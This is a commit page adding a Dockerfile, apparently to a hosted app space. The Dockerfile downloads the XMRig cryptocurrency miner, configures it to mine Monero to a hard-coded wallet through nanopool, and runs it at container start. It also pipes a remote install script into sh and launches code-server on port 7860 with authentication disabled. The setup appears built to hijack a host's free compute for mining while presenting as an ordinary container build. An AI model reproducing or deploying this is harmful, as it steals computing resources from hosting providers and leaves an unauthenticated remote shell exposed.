luluhacker commited on
Commit
9be0692
·
verified ·
1 Parent(s): 117e274

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +65 -0
Dockerfile ADDED
@@ -0,0 +1,65 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Use the latest Ubuntu image
2
+ FROM ubuntu:latest
3
+
4
+ # Set environment variables to avoid interactive prompts during installation
5
+ ENV DEBIAN_FRONTEND=noninteractive
6
+
7
+ # Install dependencies
8
+ RUN apt-get update && apt-get install -y \
9
+ curl \
10
+ tar \
11
+ && rm -rf /var/lib/apt/lists/*
12
+
13
+ # Download and install XMRig
14
+ RUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \
15
+ && tar -xzf xmrig.tar.gz \
16
+ && rm xmrig.tar.gz
17
+
18
+ # Install code-server
19
+ RUN curl -fsSL https://code-server.dev/install.sh | sh
20
+
21
+ # Switch to root user
22
+ USER root
23
+
24
+ # Set DNS servers in resolv.conf
25
+ RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
26
+ && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
27
+
28
+ # Create XMRig configuration file
29
+ RUN mkdir -p /xmrig-6.22.0 \
30
+ && tee /xmrig-6.22.0/config.json > /dev/null <<EOF
31
+ {
32
+ "autosave": true,
33
+ "cpu": true,
34
+ "opencl": false,
35
+ "cuda": false,
36
+ "pools": [
37
+ {
38
+ "coin": "monero",
39
+ "url": "xmr-asia1.nanopool.org:14433",
40
+ "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
41
+ "tls": true
42
+ }
43
+ ]
44
+ }
45
+ EOF
46
+
47
+ # Create and set up the start script
48
+ RUN echo '#!/bin/bash\n\
49
+ \n\
50
+ # Start XMRig in the foreground\n\
51
+ /xmrig-6.22.0/xmrig --config /xmrig-6.22.0/config.json\n\
52
+ \n\
53
+ # Start code-server in the background\n\
54
+ code-server --bind-addr 0.0.0.0:7860 --auth none &' > /start.sh \
55
+ && chmod +x /start.sh \
56
+ && chmod u+rwx /start.sh
57
+
58
+ # Set the working directory
59
+ WORKDIR /xmrig-6.22.0
60
+
61
+ # Expose necessary ports
62
+ EXPOSE 3333 7860
63
+
64
+ # Run the startup script
65
+ CMD ["/start.sh"]